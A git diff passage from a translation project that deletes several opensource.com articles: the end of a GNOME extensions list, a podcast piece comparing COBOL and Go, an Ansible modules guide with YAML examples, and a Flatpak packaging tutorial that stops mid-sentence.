by default on Fedora 30 (which is what I'm using). If you're using another distribution and don't see them, check the package manager. - -You can see both extensions in action in the image below. - -![Clocks and Weather shown in the drop-down][6] - -## 3\. Applications Menu - -I think the GNOME 3 interface is perfectly enjoyable in its stock form, but you may prefer a traditional application menu. In GNOME 30, the [Applications Menu][7] extension was installed by default but not enabled. To enable it, click the Extensions Settings button in the Add-ons section of the package manager and enable the Applications Menu extension. - -![Extension Settings][8] - -Now you can see the Applications Menu in the top-left corner of the top panel. - -![Applications Menu][9] - -## 4\. More columns in applications view - -The Applications view is set by default to six columns of icons, probably because GNOME needs to accommodate a wide array of displays. If you're using a wide-screen display, you can use the [More columns in applications menu][10] extension to increase the columns. I find that setting it to eight makes better use of my screen by eliminating the empty columns on either side of the icons when I launch the Applications view. - -## Add system info to the top panel - -The next three extensions provide basic system information to the top panel. - - * 5. [Harddisk LED][11] shows a small hard drive icon with input/output (I/O) activity. - * 6. [Load Average][12] indicates Linux load averages taken over three time intervals. - * 7. [Uptime Indicator][13] shows system uptime; when it's clicked, it shows the date and time the system was started. - - - -## 8\. Sound Input and Output Device Chooser - -Your system may have more than one audio device for input and output. For example, my laptop has internal speakers and sometimes I use a wireless Bluetooth speaker. The [Sound Input and Output Device Chooser][14] extension adds a list of your sound devices to the System Menu so you can quickly select which one you want to use. - -## 9\. Drop Down Terminal - -Fellow Opensource.com writer [Scott Nesbitt][15] recommended the next two extensions. The first, [Drop Down Terminal][16], enables a terminal window to drop down from the top panel by pressing a certain key; the default is the key above Tab; on my keyboard, that's the tilde (~) character. Drop Down Terminal has a settings menu for customizing transparency, height, the activation keystroke, and other configurations. - -## 10\. Todo.txt - -[Todo.txt][17] adds a menu to the top panel for maintaining a file for Todo.txt task tracking. You can add or delete a task from the menu or mark it as completed. - -![Drop-down menu for Todo.txt][18] - -## 11\. Removable Drive Menu - -Opensource.com editor [Seth Kenlon][19] suggested [Removable Drive Menu][20]. It provides a drop-down menu for managing removable media, such as USB thumb drives. From the extension's menu, you can access a drive's files and eject it. The menu only appears when removable media is inserted. - -![Removable Drive Menu][21] - -## 12\. GNOME Internet Radio - -I enjoy listening to internet radio streams with the [GNOME Internet Radio][22] extension, which I wrote about in [How to Stream Music with GNOME Internet Radio][23]. - -* * * - -What are your favorite GNOME extensions? Please share them in the comments. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/19/8/extensions-gnome-desktop - -作者:[Alan Formy-Duval][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/alanfdosshttps://opensource.com/users/erezhttps://opensource.com/users/alanfdosshttps://opensource.com/users/patrickhttps://opensource.com/users/liamnairn -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/rh_003784_02_os.comcareers_os_rh2x.png?itok=jbRfXinl (A person working.) -[2]: https://opensource.com/article/17/2/top-gnome-shell-extensions -[3]: https://opensource.com/sites/default/files/uploads/add-onsextensions_6.png (Package Manager Add-ons Extensions view) -[4]: https://wiki.gnome.org/Apps/Clocks -[5]: https://wiki.gnome.org/Apps/Weather -[6]: https://opensource.com/sites/default/files/uploads/clocksweatherdropdown_6.png (Clocks and Weather shown in the drop-down) -[7]: https://extensions.gnome.org/extension/6/applications-menu/ -[8]: https://opensource.com/sites/default/files/uploads/add-onsextensionsettings_6.png (Extension Settings) -[9]: https://opensource.com/sites/default/files/uploads/applicationsmenuextension_5.png (Applications Menu) -[10]: https://extensions.gnome.org/extension/1305/more-columns-in-applications-view/ -[11]: https://extensions.gnome.org/extension/988/harddisk-led/ -[12]: https://extensions.gnome.org/extension/1381/load-average/ -[13]: https://extensions.gnome.org/extension/508/uptime-indicator/ -[14]: https://extensions.gnome.org/extension/906/sound-output-device-chooser/ -[15]: https://opensource.com/users/scottnesbitt -[16]: https://extensions.gnome.org/extension/442/drop-down-terminal/ -[17]: https://extensions.gnome.org/extension/570/todotxt/ -[18]: https://opensource.com/sites/default/files/uploads/todo.txtmenu_3.png (Drop-down menu for Todo.txt) -[19]: https://opensource.com/users/seth -[20]: https://extensions.gnome.org/extension/7/removable-drive-menu/ -[21]: https://opensource.com/sites/default/files/uploads/removabledrivemenu_3.png (Removable Drive Menu) -[22]: https://extensions.gnome.org/extension/836/internet-radio/ -[23]: https://opensource.com/article/19/6/gnome-internet-radio diff --git a/sources/tech/20190820 The infrastructure is code- A story of COBOL and Go.md b/sources/tech/20190820 The infrastructure is code- A story of COBOL and Go.md deleted file mode 100644 index 629d36ee31..0000000000 --- a/sources/tech/20190820 The infrastructure is code- A story of COBOL and Go.md +++ /dev/null @@ -1,84 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (The infrastructure is code: A story of COBOL and Go) -[#]: via: (https://opensource.com/article/19/8/command-line-heroes-cobol-golang) -[#]: author: (Matthew Broberg https://opensource.com/users/mbbroberghttps://opensource.com/users/mbbroberghttps://opensource.com/users/mbbroberghttps://opensource.com/users/mbbroberghttps://opensource.com/users/mbbroberg) - -The infrastructure is code: A story of COBOL and Go -====== -COBOL remains the dominant language of mainframes. What can Go learn -from its history to dominate the cloud? -![Listen to the Command Line Heroes Podcast][1] - -Old challenges are new again. In [this week's Command Line Heroes podcast][2] (Season 3, Episode 5), that thought comes with a twist of programming languages and platforms. - -### COBOL dominates the mainframe - -One of the most brilliant minds in all of computer science is [Grace Murray Hopper][3]. Every time we don't have to write in binary to talk to computers, I recommend saying out loud: "Thank you, Rear Admiral Grace Murray Hopper." Try it next time, for she is the one who invented the first compiler (the software that translates programming code to machine language). - -Hopper was essential to the invention and adoption of high-level programming languages, the first of which was COBOL. She helped create the **CO**mmon **B**usiness-**O**riented **L**anguage (COBOL for short) in 1959. As Ritika Trikha put it on [HackerRank][4]: - -> "Grace Hopper, the mother of COBOL, helped champion the creation of this brand-new programming language that aimed to function across all business systems, saving an immense amount of time and money. Hopper was also the first to believe that programming languages should read just like English instead of computer jargon. Hence why COBOL's syntax is so wordy. But it helped humanize the computing process for businesses during an era when computing was intensive and prevalent only in research facilities." - -In the early 1960s, mainframes were a wild new architecture for sharing powerful amounts of computation. And in the era of mainframe computing, COBOL dominated the landscape. - -### COBOL in today's world - -But what about today? With the decline of mainframes and the rise of newer and more innovative languages designed for the web and cloud, where does COBOL sit? - -As last week's episode of Command Line Heroes mentioned, in the late 1990s, [Perl][5] (as well as JavaScript and C++) was outpacing COBOL. And, as Perl's creator, [Larry Wall stated then][6]: "COBOL is no big deal these days since demand for COBOL seems to be trailing off, for some strange reason." - -Fast forward to 2019, and COBOL has far from "trailed off." As David Cassel wrote on [The New Stack][7] in 2017: - -> "About 95% of ATM swipes use COBOL code, Reuters [reported in April][8], and the 58-year-old language even powers 80% of in-person transactions. In fact, Reuters calculates that there's still 220 billion lines of COBOL code currently being used in production today, and that every day, COBOL systems handle $3 trillion in commerce." - -Given its continued significance in the business world, knowing COBOL can be a great career move. Top COBOL programmers can expect to [make six figures][9] due to the limited number of people who specialize in the language. - -### Go dominates in the cloud, for now - -That story of COBOL's early dominance rings a bell for me. If we survey the most influential projects of this cloud computing era, you'd be hard-pressed to miss Go sitting at the top of the pack. Kubernetes and much of its related technology—from Etcd to Prometheus—are written in Go. As [RedMonk explored][10] back in 2014: - -> "Go's rapidly closing in on 1% of total commits and half a percent of projects and contributors. While the trend is obviously interesting, at first glance, numbers well under one percent look inconsequential relative to overall adoption. To provide some context, however, each of the most popular languages on Ohloh (C, C++, Java, JavaScript) only constitute ~10% of commits and ~5% of projects and contributors. **That means Go, a seemingly very minor player, is already used nearly one-tenth as much in FOSS as the most popular languages in existence**." - -In two of my previous jobs, my team (re)wrote infrastructure software in Go to be part of this monumental wave. Influential projects continue to live in the space that Go can fill, as [Uday Hiwarale explained][11] well in 2018: - -> "Things that make Go a great language [are] its simple concurrency model, its package-based code management, and its non-strict (type inference) typing system. Go does not support out-of-the box object-oriented programming experience, but [its] support structures (structs) …, with the help of methods and pointers, can help us achieve the same [outcomes]." - -It looks to me like Go could be following in COBOL's footsteps, but questions remain about where it's going. In June 2019, [RedMonk ranked][12] Go in 16th place, with a future that could lead either direction. - -### What can Go learn from COBOL? - -If Go were to see into its future, would it look like COBOL's, with such staying power? - -The stories told this season by Command Line Heroes illustrate how languages are born, how communities form around them, how they rise in popularity and standardize, and how some slowly decline. What can we learn about the lifespan of programming languages? Do they have a similar arc? Or do they differ? - -I think this podcast is well worth [subscribing so that you don't miss a single one][2]. I would love to hear your thoughts in the comments below. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/19/8/command-line-heroes-cobol-golang - -作者:[Matthew Broberg][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/mbbroberghttps://opensource.com/users/mbbroberghttps://opensource.com/users/mbbroberghttps://opensource.com/users/mbbroberghttps://opensource.com/users/mbbroberg -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/command-line-heroes-520x292.png?itok=s_F6YEoS (Listen to the Command Line Heroes Podcast) -[2]: https://www.redhat.com/en/command-line-heroes -[3]: https://www.biography.com/scientist/grace-hopper -[4]: https://blog.hackerrank.com/the-inevitable-return-of-cobol/ -[5]: https://opensource.com/article/19/8/command-line-heroes-perl -[6]: http://www.wall.org/~larry/onion3/talk.html -[7]: https://thenewstack.io/cobol-everywhere-will-maintain/ -[8]: http://fingfx.thomsonreuters.com/gfx/rngs/USA-BANKS-COBOL/010040KH18J/index.html -[9]: https://www.laserfiche.com/ecmblog/looking-job-hows-your-cobol/ -[10]: https://redmonk.com/dberkholz/2014/03/18/go-the-emerging-language-of-cloud-infrastructure/ -[11]: https://medium.com/rungo/introduction-to-go-programming-language-golang-89d16ca72bbf -[12]: https://redmonk.com/sogrady/2019/07/18/language-rankings-6-19/ diff --git a/sources/tech/20190911 10 Ansible modules you need to know.md b/sources/tech/20190911 10 Ansible modules you need to know.md deleted file mode 100644 index 51b0078f86..0000000000 --- a/sources/tech/20190911 10 Ansible modules you need to know.md +++ /dev/null @@ -1,381 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (10 Ansible modules you need to know) -[#]: via: (https://opensource.com/article/19/9/must-know-ansible-modules) -[#]: author: (DirectedSoul https://opensource.com/users/directedsoulhttps://opensource.com/users/markphttps://opensource.com/users/rich-butkevichttps://opensource.com/users/jairojuniorhttps://opensource.com/users/marcobravohttps://opensource.com/users/johnsimcall) - -10 Ansible modules you need to know -====== -See examples and learn the most important modules for automating -everyday tasks with Ansible. -![Text editor on a browser, in blue][1] - -[Ansible][2] is an open source IT configuration management and automation platform. It uses human-readable YAML templates so users can program repetitive tasks to happen automatically without having to learn an advanced programming language. - -Ansible is agentless, which means the nodes it manages do not require any software to be installed on them. This eliminates potential security vulnerabilities and makes overall management smoother. - -Ansible [modules][3] are standalone scripts that can be used inside an Ansible playbook. A playbook consists of a play, and a play consists of tasks. These concepts may seem confusing if you're new to Ansible, but as you begin writing and working more with playbooks, they will become familiar. - -There are some modules that are frequently used in automating everyday tasks; those are the ones that we will cover in this article. - -Ansible has three main files that you need to consider: - - * **Host/inventory file:** Contains the entry of the nodes that need to be managed - * **Ansible.cfg file:** Located by default at **/etc/ansible/ansible.cfg**, it has the necessary privilege escalation options and the location of the inventory file - * **Main file:** A playbook that has modules that perform various tasks on a host listed in an inventory or host file - - - -### Module 1: Package management - -There is a module for most popular package managers, such as DNF and APT, to enable you to install any package on a system. Functionality depends entirely on the package manager, but usually these modules can install, upgrade, downgrade, remove, and list packages. The names of relevant modules are easy to guess. For example, the DNF module is [dnf_module][4], the old YUM module (required for Python 2 compatibility) is [yum_module][5], while the APT module is [apt_module][6], the Slackpkg module is [slackpkg_module][7], and so on. - -Example 1: - - -``` -\- name: install the latest version of Apache and MariaDB -  dnf: -    name: -     - httpd -      - mariadb-server -    state: latest -``` - -This installs the Apache web server and the MariaDB SQL database. - -#### Example 2: - - -``` -\- name: Install a list of packages -  yum: -    name: -     - nginx -      - postgresql -      - postgresql-server -    state: present -``` - -This installs the list of packages and helps download multiple packages. - -### Module 2: Service - -After installing a package, you need a module to start it. The [service module][8] enables you to start, stop, and reload installed packages; this comes in pretty handy. - -#### Example 1: - - -``` -\- name: Start service foo, based on running process /usr/bin/foo -  service: -    name: foo -    pattern: /usr/bin/foo -    state: started -``` - -This starts the service **foo**. - -#### Example 2: - - -``` -\- name: Restart network service for interface eth0 -  service: -    name: network -    state: restarted -    args: eth0 -``` - -This restarts the network service of the interface **eth0**. - -### Module 3: Copy - -The [copy module][9] copies a file from the local or remote machine to a location on the remote machine. - -#### Example 1: - - -``` -\- name: Copy a new "ntp.conf file into place, backing up the original if it differs from the copied version -  copy: -    src: /mine/ntp.conf -    dest: /etc/ntp.conf -    owner: root -    group: root -    mode: '0644' -    backup: yes -``` - -#### Example 2: - - -``` -\- name: Copy file with owner and permission, using symbolic representation -  copy: -    src: /srv/myfiles/foo.conf -    dest: /etc/foo.conf -    owner: foo -    group: foo -    mode: u=rw,g=r,o=r -``` - -### Module 4: Debug - -The [debug module][10] prints statements during execution and can be useful for debugging variables or expressions without having to halt the playbook. - -#### Example 1: - - -``` -\- name: Display all variables/facts known for a host -  debug: -    var: hostvars[inventory_hostname] -    verbosity: 4 -``` - -This displays all the variable information for a host that is defined in the inventory file. - -#### Example 2: - - -``` -\- name: Write some content in a file /tmp/foo.txt -  copy: -    dest: /tmp/foo.txt -    content: | -     Good Morning! -      Awesome sunshine today. -    register: display_file_content -\- name: Debug display_file_content -    debug: -      var: display_file_content -      verbosity: 2 -``` - -This registers the content of the copy module output and displays it only when you specify verbosity as 2. For example: - - -``` -`ansible-playbook demo.yaml -vv` -``` - -### Module 5: File - -The [file module][11] manages the file and its properties. - - * It sets attributes of files, symlinks, or directories. - * It also removes files, symlinks, or directories. - - - -#### Example 1: - - -``` -\- name: Change file ownership, group and permissions -  file: -    path: /etc/foo.conf -    owner: foo -    group: foo -    mode: '0644' -``` - -This creates a file named **foo.conf** and sets the permission to **0644**. - -#### Example 2: - - -``` -\- name: Create a directory if it does not exist -  file: -    path: /etc/some_directory -    state: directory -    mode: '0755' -``` - -This creates a directory named **some_directory** and sets the permission to **0755**. - -### Module 6: Lineinfile - -The [lineinfile module][12] manages lines in a text file. - - * It ensures a particular line is in a file or replaces an existing line using a back-referenced regular expression. - * It's primarily useful when you want to change just a single line in a file. - - - -#### Example 1: - - -``` -\- name: Ensure SELinux is set to enforcing mode -  lineinfile: -    path: /etc/selinux/config -    regexp: '^SELINUX=' -    line: SELINUX=enforcing -``` - -This sets the value of **SELINUX=enforcing**. - -#### Example 2: - - -``` -\- name: Add a line to a file if the file does not exist, without passing regexp -  lineinfile: -    path: /etc/resolv.conf -    line: 192.168.1.99 foo.lab.net foo -    create: yes -``` - -This adds an entry for the IP and hostname in the **resolv.conf** file. - -### Module 7: Git - -The [git module][13] manages git checkouts of repositories to deploy files or software. - -#### Example 1: - - -``` -# Example Create git archive from repo -\- git: -    repo: -    dest: /src/ansible-examples -    archive: /tmp/ansible-examples.zip -``` - -#### Example 2: - - -``` -\- git: -    repo: -    dest: /src/ansible-examples -    separate_git_dir: /src/ansible-examples.git -``` - -This clones a repo with a separate Git directory. - -### Module 8: Cli_command - -The [cli_command module][14], first available in Ansible 2.7, provides a platform-agnostic way of pushing text-based configurations to network devices over the **network_cli connection** plugin. - -#### Example 1: - - -``` -\- name: commit with comment -  cli_config: -    config: set system host-name foo -    commit_comment: this is a test -``` - -This sets the hostname for a switch and exits with a commit message. - -#### Example 2: - - -``` -\- name: configurable backup path -  cli_config: -    config: "{{ lookup('template', 'basic/config.j2') }}" -    backup: yes -    backup_options: -      filename: backup.cfg -      dir_path: /home/user -``` - -This backs up a config to a different destination file. - -### Module 9: Archive - -The [archive module][15] creates a compressed archive of one or more files. By default, it assumes the compression source exists on the target. - -#### Example 1: - - -``` -\- name: Compress directory /path/to/foo/ into /path/to/foo.tgz -  archive: -    path: /path/to/foo -    dest: /path/to/foo.tgz -``` - -#### Example 2: - - -``` -\- name: Create a bz2 archive of multiple files, rooted at /path -  archive: -    path: -   - /path/to/foo -    - /path/wong/foo -    dest: /path/file.tar.bz2 -    format: bz2 -``` - -### Module 10: Command - -One of the most basic but useful modules, the [command module][16] takes the command name followed by a list of space-delimited arguments. - -#### Example 1: - - -``` -\- name: return motd to registered var -  command: cat /etc/motd -  register: mymotd -``` - -#### Example 2: - - -``` -\- name: Change the working directory to somedir/ and run the command as db_owner if /path/to/database does not exist. -  command: /usr/bin/make_database.sh db_user db_name -  become: yes -  become_user: db_owner -  args: -    chdir: somedir/ -    creates: /path/to/database -``` - -### Conclusion - -There are tons of modules available in Ansible, but these ten are the most basic and powerful ones you can use for an automation job. As your requirements change, you can learn about other useful modules by entering **ansible-doc <module-name>** on the command line or refer to the [official documentation][17]. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/19/9/must-know-ansible-modules - -作者:[DirectedSoul][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/directedsoulhttps://opensource.com/users/markphttps://opensource.com/users/rich-butkevichttps://opensource.com/users/jairojuniorhttps://opensource.com/users/marcobravohttps://opensource.com/users/johnsimcall -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/browser_blue_text_editor_web.png?itok=lcf-m6N7 (Text editor on a browser, in blue) -[2]: https://www.ansible.com/ -[3]: https://docs.ansible.com/ansible/latest/user_guide/modules.html -[4]: https://docs.ansible.com/ansible/latest/modules/dnf_module.html -[5]: https://docs.ansible.com/ansible/latest/modules/yum_module.html -[6]: https://docs.ansible.com/ansible/latest/modules/apt_module.html -[7]: https://docs.ansible.com/ansible/latest/modules/slackpkg_module.html -[8]: https://docs.ansible.com/ansible/latest/modules/service_module.html -[9]: https://docs.ansible.com/ansible/latest/modules/copy_module.html -[10]: https://docs.ansible.com/ansible/latest/modules/debug_module.html -[11]: https://docs.ansible.com/ansible/latest/modules/file_module.html -[12]: https://docs.ansible.com/ansible/latest/modules/lineinfile_module.html -[13]: https://docs.ansible.com/ansible/latest/modules/git_module.html#git-module -[14]: https://docs.ansible.com/ansible/latest/modules/cli_command_module.html -[15]: https://docs.ansible.com/ansible/latest/modules/archive_module.html -[16]: https://docs.ansible.com/ansible/latest/modules/command_module.html -[17]: https://docs.ansible.com/ diff --git a/sources/tech/20191021 How to build a Flatpak.md b/sources/tech/20191021 How to build a Flatpak.md deleted file mode 100644 index 94bbb65036..0000000000 --- a/sources/tech/20191021 How to build a Flatpak.md +++ /dev/null @@ -1,320 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to build a Flatpak) -[#]: via: (https://opensource.com/article/19/10/how-build-flatpak-packaging) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) - -How to build a Flatpak -====== -A universal packaging format with a decentralized means of distribution. -Plus, portability and sandboxing. -![][1] - -A long time ago, a Linux distribution shipped an operating system along with _all_ the software available for it. There was no concept of “third party” software because everything was a part of the distribution. Applications weren’t so much installed as they were enabled from a great big software repository that you got on one of the many floppy disks or, later, CDs you purchased or downloaded. - -This evolved into something even more convenient as the internet became ubiquitous, and the concept of what is now the “app store” was born. Of course, Linux distributions tend to call this a _software repository_ or just _repo_ for short, with some variations for “branding”, such as _Ubuntu Software Center_ or, with typical GNOME minimalism, simply _Software_. - -This model worked well back when open source software was still a novelty and the number of open source applications was a number rather than a _theoretical_ number. In today’s world of GitLab and GitHub and Bitbucket (and [many][2] [many][3] more), it’s hardly possible to count the number of open source projects, much less package them up in a repository. No Linux distribution today, even [Debian][4] and its formidable group of package maintainers, can claim or hope to have a package for every installable open source project. - -Of course, a Linux package doesn’t have to be in a repository to be installable. Any programmer can package up their software and distribute it from their own website. However, because repositories are seen as an integral part of a distribution, there isn’t a universal packaging format, meaning that a programmer must decide whether to release a `.deb` or `.rpm`, or an AUR build script, or a Nix or Guix package, or a Homebrew script, or just a mostly-generic `.tgz` archive for `/opt`. It’s overwhelming for a developer who lives and breathes Linux every day, much less for a developer just trying to make a best-effort attempt at supporting a free and open source target. - -### Why Flatpak? - -The Flatpak project provides a universal packaging format along with a decentralized means of distribution, plus portability, and sandboxing. - - * **Universal** Install the Flatpak system, and you can run Flatpaks, regardless of your distribution. No daemon or systemd required. The same Flatpak runs on Fedora, Ubuntu, Mageia, Pop OS, Arch, Slackware, and more. - * **Decentralized** Developers can create and sign their own Flatpak packages and repositories. There’s no repository to petition in order to get a package included. - * **Portability** If you have a Flatpak on your system and want to hand it to a friend so they can run the same application, you can export the Flatpak to a USB thumbdrive. - * **Sandboxed** Flatpaks use a container-based model, allowing multiple versions of libraries and applications to exist on one system. Yes, you can easily install the latest version of an app to test out while maintaining the old version you rely on. - - - -### Building a Flatpak - -To build a Flatpak, you must first install Flatpak (the subsystem that enables you to use Flatpak packages) and the Flatpak-builder application. - -On Fedora, CentOS, RHEL, and similar: - - -``` -`$ sudo dnf install flatpak flatpak-builder` -``` - -On Debian, Ubuntu, and similar: - - -``` -`$ sudo apt install flatpak flatpak-builder` -``` - -You must also install the development tools required to build the application you are packaging. By nature of developing the application you’re now packaging, you may already have a development environment installed, so you might not notice that these components are required, but should you start building Flatpaks with Jenkins or from inside containers, then you must ensure that your build tools are a part of your toolchain. - -For the first example build, this article assumes that your application uses [GNU Autotools][5], but Flatpak itself supports other build systems, such as `cmake`, `cmake-ninja`, `meson`, `ant`, as well as custom commands (a `simple` build system, in Flatpak terminology, but by no means does this imply that the build itself is actually simple). - -#### Project directory - -Unlike the strict RPM build infrastructure, Flatpak doesn’t impose a project directory structure. I prefer to create project directories based on the **dist** packages of software, but there’s no technical reason you can’t instead integrate your Flatpak build process with your source directory. It is technically easier to build a Flatpak from your **dist** package, though, and it’s an easier demo too, so that’s the model this article uses. Set up a project directory for GNU Hello, serving as your first Flatpak: - - -``` -$ mkdir hello_flatpak -$ mkdir src -``` - -Download your distributable source. For this example, the source code is located at `https://ftp.gnu.org/gnu/hello/hello-2.10.tar.gz`. - - -``` -$ cd hello_flatpak -$ wget -``` - -#### Manifest - -A Flatpak is defined by a manifest, which describes how to build and install the application it is delivering. A manifest is atomic and reproducible. A Flatpak exists in a “sandbox” container, though, so the manifest is based on a mostly empty environment with a root directory call `/app`. - -The first two attributes are the ID of the application you are packaging and the command provided by it. The application ID must be unique to the application you are packaging. The canonical way of formulating a unique ID is to use a triplet value consisting of the entity responsible for the code followed by the name of the application, such as `org.gnu.Hello`. The command provided by the application is whatever you type into a terminal to run the application. This does not imply that the application is intended to be run from a terminal instead of a `.desktop` file in the Activities or Applications menu. - -In a file called `org.gnu.Hello.yaml`, enter this text: - - -``` -id: org.gnu.Hello -command: hello -``` - -A manifest can be written in [YAML][6] or in JSON. This article uses YAML. - -Next, you must define each “module” delivered by this Flatpak package. You can think of a module as a dependency or a component. For GNU Hello, there is only one module: GNU Hello. More complex applications may require a specific library or another application entirely. - - -``` -modules: -  - name: hello -    buildsystem: autotools -    no-autogen: true -    sources: -      - type: archive -        path: src/hello-2.10.tar.gz -``` - -The `buildsystem` value identifies how Flatpak must build the module. Each module can use its own build system, so one Flatpak can have several build systems defined. - -The `no-autogen` value tells Flatpak not to run the setup commands for `autotools`, which aren’t necessary because the GNU Hello source code is the product of `make dist`. If the code you’re building isn’t in a easily buildable form, then you may need to install `autogen` and `autoconf` to prepare the source for `autotools`. This option doesn’t apply at all to projects that don’t use `autotools`. - -The `type` value tells Flatpak that the source code is in an archive, which triggers the requisite unarchival tasks before building. The `path` points to the source code. In this example, the source exists in the `src` directory on your local build machine, but you could instead define the source as a remote location: - - -``` -modules: -  - name: hello -    buildsystem: autotools -    no-autogen: true -    sources: -      - type: archive -        url: -``` - -Finally, you must define the platform required for the application to run and build. The Flatpak maintainers supply runtimes and SDKs that include common libraries, including `freedesktop`, `gnome`, and `kde`. The basic requirement is the `freedesk` runtime and SDK, although this may be superseded by GNOME or KDE, depending on what your code needs to run. For this GNU Hello example, only the basics are required. - - -``` -runtime: org.freedesktop.Platform -runtime-version: '18.08' -sdk: org.freedesktop.Sdk -``` - -The entire GNU Hello flatpak manifest: - - -``` -id: org.gnu.Hello -runtime: org.freedesktop.Platform -runtime-version: '18.08' -sdk: org.freedesktop.Sdk -command: hello -modules: -  - name: hello -    buildsystem: autotools -    no-autogen: true -    sources: -      - type: archive -        path: src/hello-2.10.tar.gz -``` - -#### Building a Flatpak - -Now that the package is defined, you can build it. The build process prompts Flatpak-builder to parse the manifest and to resolve each requirement: it ensures that the necessary Platform and SDK are available (if they aren’t, then you’ll have to install them with the `flatpak` command), it unarchives the source code, and executes the `buildsystem` specified. - -The command to start: - - -``` -`$ flatpak-builder build-dir org.gnu.Hello.yaml` -``` - -The directory `build-dir` is created if it does not already exist. The name `build-dir` is arbitrary; you could call it `build` or `bld` or `penguin`, and you can have more than one build destination in the same project directory. However, the term `build-dir` is a frequent value used in documentation, so using it as the literal value can be helpful. - -#### Testing your application - -You can test your application before or after it has been built by running the build command along with the `--run` option, and endingi the command with the command provided by the Flatpak: - - -``` -$ flatpak-builder --run build-dir \ -org.gnu.Hello.yaml hello -Hello, world! -``` - -### Packaging GUI apps with Flatpak - -Packaging up a simple self-contained _hello world_ application is trivial, and fortunately packaging up a GUI application isn’t much harder. The most difficult applications to package are those that don’t rely on common libraries and frameworks (in the context of packaging, “common” means anything _not_ already packaged by someone else). The Flatpak community provides SDKs and SDK Extensions for many components you might otherwise have had to package yourself. For instance, when packaging the pure Java implementation of `pdftk`, I use the OpenJDK SDK extension I found in the Flatpak Github repository: - - -``` -runtime: org.freedesktop.Platform -runtime-version: '18.08' -sdk: org.freedesktop.Sdk -sdk-extensions: - - org.freedesktop.Sdk.Extension.openjdk11 -``` - -The Flatpak community does a lot of work on the foundations required for applications to run upon in order to make the packaging process easy for developers. For instance, the Kblocks game from the KDE community requires the KDE platform to run, and that’s already available from Flatpak. The additional `libkdegames` library is not included, but it’s as easy to add it to your list of `modules` as `kblocks` itself. - -Here’s a manifest for the Kblocks game: - - -``` -id: org.kde.kblocks -command: kblocks -modules: -\- buildsystem: cmake-ninja -  name: libkdegames -  sources: -    type: archive -    path: src/libkdegames-19.08.2.tar.xz -\- buildsystem: cmake-ninja -  name: kblocks -  sources: -    type: archive -    path: src/kblocks-19.08.2.tar.xz -runtime: org.kde.Platform -runtime-version: '5.13' -sdk: org.kde.Sdk -``` - -As you can see, the manifest is still straight-forward and relatively intuitive. The build system is different, and the runtime and SDK point to KDE instead of the Freedesktop, but the structure and requirements are basically the same. - -Because it’s a GUI application, however, there are some new options required. First, it needs an icon so that when it’s listed in the Activities or Application menu, it looks nice and recognizable. Kblocks includes an icon in its sources, but the names of files exported by a Flatpak must be prefixed using the application ID (such as `org.kde.Kblocks.desktop`). The easiest way to do this is to rename the file directly in the application source, which Flatpak can do for you as long as you include this directive in your manifest: - - -``` -`rename-icon: kblocks` -``` - -Another unique trait of GUI applications is that they often require integration with common desktop services, like the graphics server (X11 or Wayland) itself, a sound server such as [Pulse Audio][7], and the Inter-Process Communication (IPC) subsystem. - -In the case of Kblocks, the requirements are: - - -``` -finish-args: -\- --share=ipc -\- --socket=x11 -\- --socket=wayland -\- --socket=pulseaudio -\- --device=dri -\- --filesystem=xdg-config/kdeglobals:ro -``` - -Here’s the final, complete manifest, using URLs for the sources so you can try this on your own system easily: - - -``` -command: kblocks -finish-args: -\- --share=ipc -\- --socket=x11 -\- --socket=wayland -\- --socket=pulseaudio -\- --device=dri -\- --filesystem=xdg-config/kdeglobals:ro -id: org.kde.kblocks -modules: -\- buildsystem: cmake-ninja -  name: libkdegames -  sources: -  - sha256: 83456cec44502a1f79c0be00c983090e32fd8aea5fec1461fbfbd37b5f8866ac -    type: archive -    url: -\- buildsystem: cmake-ninja -  name: kblocks -  sources: -  - sha256: 8b52c949e2d446a4ccf81b09818fc90234f2f55d8722c385491ee67e1f2abf93 -    type: archive -    url: -rename-icon: kblocks -runtime: org.kde.Platform -runtime-version: '5.13' -sdk: org.kde.Sdk -``` - -To build the application, you must have the KDE Platform and SDK Flatpaks (version 5.13 as of this writing) installed. Once the application has been built, you can run it using the `--run` method, but to see the application icon, you must install it. - -#### Distributing and installing a Flatpak you have built - -Distributing flatpaks happen through repositories. - -You can list your apps on [Flathub.org][8], a community website meant as a _technically_ decentralised (but central in spirit) location for Flatpaks. To submit your Flatpak, [place your manifest into a Git repository][9] and [submit a pull request on Github][10]. - -Alternately, you can create your own repository using the `flatpak build-export` command. - -You can also just install locally: - - -``` -`$ flatpak-builder --force-clean --install build-dir org.kde.Kblocks.yaml` -``` - -Once installed, open your Activities or Applications menu and search for Kblocks. - -![The Activities menu in GNOME][11] - -### Learning more - -The [Flatpak documentation site][12] has a good walkthrough on building your first Flatpak. It’s worth reading even if you’ve followed along with this article. Besides that, the docs provide details on what Platforms and SDKs are available. - -For those who enjoy learning from 